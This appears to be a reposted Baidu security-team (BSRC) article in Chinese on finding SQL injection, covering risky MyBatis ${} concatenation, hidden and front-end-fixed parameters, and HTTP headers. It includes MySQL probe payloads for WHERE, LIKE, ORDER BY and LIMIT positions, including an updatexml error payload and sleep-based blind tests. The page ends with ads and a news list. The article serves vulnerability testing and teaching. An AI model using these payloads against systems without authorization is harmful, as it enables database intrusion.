SQL注入漏洞发现之旅
概述
易出现问题的场景
#{param}
表示对param这个参数使用预编译,而${param}
则表示对param这个参数不使用预编译,直接拼接。省事省力
的原则写着代码,写出了MyBatis框架最常见的漏洞点。模糊查询


批量处理
ids
,例如ids = 1,2,3,4

ids
,可见,这个比错误的写法多写更多的字符。
接口a
,这个接口a
可能被系统B、C、D调用,但是就是不被系统A直接使用。接口a
未作任何防御,存在SQLi漏洞的风险时,较难被公司安全部发现。接口a
未作任何防御,多半是存在SQLi漏洞;接口a
到底被哪个系统调用了。接口a
可能要在安全部黑盒测试系统B的时候,才能证明接口a
存在SQLi漏洞;然后通知系统A的研发进行修改。伪废弃接口
。少做少错,多做多错
的原则小心翼翼的下线了。
JAVA
为例,声明变量时便确定了数据类型,如果给的类型不一致那么便会导致错误。id
、number
、pageNo
、pageSize
等这类数字类型非常明显的参数,存在SQLi
漏洞及XSS
漏洞(暂不考虑DOM型XSS
)的可能性非常小。userId
参数是Long
类型的,act
参数是String
类型的。userId
参数通常不会存在SQLi
漏洞跟XSS
漏洞,而act
参数确有测试的必要。
PHP
、Python
这种弱编译型语言,则仍旧需要对数字类型非常明显的参数做测试。Python
里面的Django
框架question_id
必须是int
类型的,当给出的字符串时,便会异常,无法匹配这个接口。
隐藏参数
startIndex
、limitSize
参数,而username
、email
、dep
参数都是可有可无的。
RPC
那个场景所说的问题前端固定参数
readonly
的参数、disabled
的参数等,研发认为只能是这几个值,肯定不会有什么问题,因此认为参数可控,可以不对参数做任何处理。楼兰:你这个漏洞没修复啊,还是存在啊
研发:不会吧,这次我在前端设置了一个下拉框,这个参数只能是固定的几个值
楼兰:这不行啊,你这个漏洞在前端做的任何限制都没用啊,攻击者直接在数据包中进行修改,不通过前端的
研发:...
HTTP Header头
Header
头中最常写入数据库的字段: Client-ip
与X-Forwarded-For
,用来记录客户端IP。Client-ip
来获取IP,获取不到时,再尝试通过X-Forwarded-For
来获取,最后才通过不可伪造的Remote-Addr
来获取。
时间参数

MySQL中各位置的测试

表名字段名
SELECT * FROM `bsrc` WHERE `{输入点}` = '';
where子句
普通条件
SELECT * FROM `bsrc` WHERE `bug_name` = '{输入点}';
index.php?bug_name=x
与index.php?bug_name=x'-'x


index.php?id=4
与index.php?id=5-1
来查看回显的数据是否一致
模糊查询
SELECT * FROM `bsrc` WHERE `bug_name` like '%输入点%';

index.php?bug_name=' and '%'='
和 index.php?bug_name=' and 'x'='

order by子句
order by
子句出现SQLi漏洞的概率非常大。SELECT * FROM `bsrc` WHERE `bug_name` like '%' ORDER BY {输入点1} {输入点2}

index.php?order=1,1
index.php?order=1,0

limit子句
PROCEDURE
子句、INTO
子句;INTO
子句来写入文件进而证明;INTO
子句来写入文件的并且读取该文件的条件很少;PROCEDURE
子句。PROCEDURE
子句的详情可以看官方文档中给出的介绍。PROCEDURE
syntax is deprecated as of MySQL 5.7.18, and is removed in MySQL 8.0.
SELECT * FROM `bug_name` limit 10 procedure analyse(updatexml(1,concat(0x7e, user()),1), 1);

order by
子句时,可以在limit后面直接使用联合查询。order by
子句时,那么便只能考虑前面的Payload了。
其他情况
index.php?bug_name=1' and if(1=2,(select 1 union select 2),1) and '
index.php?bug_name=1' and if(1=1,(select 1 union select 2),1) and '
index.php?bug_name=1' and if(1=1,(select 1,2),1) and '

一行一列
。时间型盲注
SELECT * FROM `bsrc` WHERE `id` >= 5 AND sleep(1)
id>=5
的有2行,那么便会执行2次sleep(1)
。SELECT * FROM `bsrc` WHERE `id` >= 5 OR sleep(1)
id>=5
的有4行,便会执行4次sleep(1)
SELECT * FROM `bsrc` WHERE `id` >= 5 AND (SELECT 1 FROM (SELECT sleep(1))a);

短路原则
SELECT * FROM `bsrc` WHERE 条件1 and 条件2
SELECT * FROM `bsrc` WHERE 条件1 or 条件2
SELECT * FROM `bsrc` WHERE `id` = {插入点};
index.php?id=1 and sleep(1)
index.php?id=1 and sleep(0)

结语
百度安全应急响应中心
百度安全应急响应中心,简称BSRC,是百度致力于维护互联网健康生态环境,保障百度产品和业务线的信息安全,促进安全专家的合作与交流,而建立的漏洞收集以及应急响应平台。地址:https://bsrc.baidu.com


长按关注
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 把顶层设计和问计于民统一起来 7904616
- 2 中国驻日使馆提醒:密切关注地震动态 7809278
- 3 今年三伏天10年难遇 有啥讲究 7712489
- 4 这些创新高地正在拔地而起 7616618
- 5 特朗普签署“大而美”法案 7520282
- 6 “热死人”不是开玩笑 7428442
- 7 李佳薇一开口就赢了 7331276
- 8 10元快剪店理发师月入2万 7239019
- 9 “上菜像端地雷”的暑假工火了 7138585
- 10 成都暴雨家中插座出水成瀑布 7047022